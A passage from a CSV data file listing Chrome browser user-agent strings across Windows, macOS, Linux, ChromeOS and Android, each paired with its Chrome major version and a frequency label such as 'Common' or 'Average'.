10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36\",45,Common\n\"Mozilla/5.0 (Linux; Android 5.1.1; A37fw Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36\",62,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36\",61,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\",49,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36\",47,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36\",44,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36\",41,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36\",65,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\",46,Common\n\"Mozilla/5.0 (Linux; Android 5.1; HUAWEI CUN-L22 Build/HUAWEICUN-L22; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/62.0.3202.84 Mobile Safari/537.36\",62,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\",54,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",57,Common\n\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\",60,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36\",65,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36\",47,Common\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36\",61,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\",49,Common\n\"Mozilla/5.0 (X11; CrOS x86_64 9592.96.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.114 Safari/537.36\",60,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36\",50,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\",58,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36\",62,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36\",54,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.103 Safari/537.36\",48,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36\",52,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36\",64,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36\",54,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\",63,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\",53,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\",65,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",51,Common\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\",56,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36\",57,Common\n\"Mozilla/5.0 (Linux; Android 4.4.2; Nexus 4 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.114 Mobile Safari/537.36\",34,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36\",62,Common\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36\",49,Common\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1\",13,Common\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31\",26,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\",46,Common\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36\",45,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\",56,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.109 Safari/537.36\",59,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36\",44,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\",63,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36\",54,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36\",53,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36\",60,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36\",47,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36\",59,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",57,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36\",45,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36\",62,Common\n\"Mozilla/5.0 (X11; CrOS x86_64 8350.68.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36\",44,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36\",40,Common\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\",55,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31\",26,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.109 Safari/537.36\",59,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36\",65,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17\",24,Common\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 http://notifyninja.com/monitoring\",43,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36\",49,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36\",61,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36\",63,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\",46,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36\",45,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36\",53,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.45 Safari/537.36\",43,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22\",25,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36\",63,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\",53,Common\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-G900T Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.6 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Common\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.71 Safari/537.36\",28,Common\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SCH-I545 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36\",49,Common\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36\",61,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36\",59,Common\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36\",53,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36\",47,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36\",64,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36\",55,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.77 Safari/535.7\",16,Common\n\"Mozilla/5.0 (X11; CrOS x86_64 10032.75.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.116 Safari/537.36\",63,Common\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36\",60,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36\",54,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36\",60,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11\",23,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.5.2171.95 Safari/537.36\",39.5,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.5.2171.95 Safari/537.36\",39.5,Common\n\"Mozilla/5.0 (X11; CrOS x86_64 9000.91.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.110 Safari/537.36\",56,Common\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\",58,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36\",48,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36\",48,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\",63,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\",56,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36\",48,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36\",36,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\",60,Common\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36\",49,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22\",25,Common\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.109 Safari/537.36\",59,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36\",57,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36\",64,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.104 Safari/537.36\",59,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\",58,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36\",62,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.104 Safari/537.36\",59,Common\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36\",61,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5\",19,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11\",23,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36\",55,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1\",13,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36\",61,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36\",45,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36\",37,Common\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36\",46,Common\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36\",27,Common\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36\",47,Common\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36\",37,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.99 Safari/537.22\",25,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\",58,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36\",48,Common\n\"Mozilla/5.0 (X11; CrOS x86_64 9765.85.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.123 Safari/537.36\",61,Common\n\"Mozilla/5.0 (X11; CrOS x86_64 9202.64.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.146 Safari/537.36\",57,Common\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\",55,Common\n\"Mozilla/5.0 (X11; CrOS x86_64 10176.76.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.190 Safari/537.36\",64,Common\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36\",61,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36\",57,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36\",54,Common\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.0 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.75 Safari/537.36\",50,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36 XaxisSemanticsClassifier/1.0 http://crystalsemantics.com\",40,Common\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\",63,Common\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36\",47,Common\n\"Mozilla/5.0 (X11; CrOS x86_64 8872.76.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.105 Safari/537.36\",55,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36\",47,Common\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-T230NU Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Safari/537.36\",28,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11\",20,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36\",47,Common\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31\",26,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36\",47,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36\",61,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit/601.1 (KHTML, like Gecko) CriOS/51.0.2704.104 Mobile/13F69 Safari/601.1.46\",51,Common\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36\",60,Common\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36\",52,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36\",59,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36\",57,Common\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36\",59,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36\",48,Common\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Common\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17\",24,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36\",43,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36\",62,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36\",39,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31\",26,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36\",59,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36\",52,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\",58,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36\",60,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11\",20,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.5.2171.95 Safari/537.36\",39.5,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",57,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\",58,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36\",62,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36\",49,Average\n\"Mozilla/5.0 